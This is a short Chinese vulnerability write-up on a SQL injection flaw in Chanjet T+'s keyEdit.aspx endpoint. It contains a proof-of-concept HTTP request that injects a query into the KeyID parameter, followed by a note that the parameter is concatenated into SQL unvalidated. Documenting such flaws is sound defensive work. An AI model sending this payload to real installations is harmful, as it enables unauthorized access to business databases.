概述:畅捷通 keyEdit.aspx SQL 注入漏洞详解

免责声明:本文所涉及的信息安全技术知识仅供参考和学习之用,并不构成任何明示或暗示的保证。读者在使用本文提供的信息时,应自行判断其适用性,并承担由此产生的一切风险和责任。本文作者对于读者基于本文内容所做出的任何行为或决定不承担任何责任。在任何情况下,本文作者不对因使用本文内容而导致的任何直接、间接、特殊或后果性损失承担责任。读者在使用本文内容时应当遵守当地法律法规,并保证不违反任何相关法律法规。

漏洞说明

如下图所示,请求对应的接口 keyEdit.aspx 时在参数 KeyID 注入 SQL 语句,responses 返回了查询结果。

POC

1
2
3
4
POST /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: 192.168.19.133:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 0

漏洞分析

直接看调用函数,简直不要太明显。KeyID 即请求体参数中的 KeyID 参数的值,这里并没有做任何校验,直接和查询 SQL 拼接。在这里大家也需要注意这种 SQL 语句的写法,太容易被利用,至少也要做参数校验。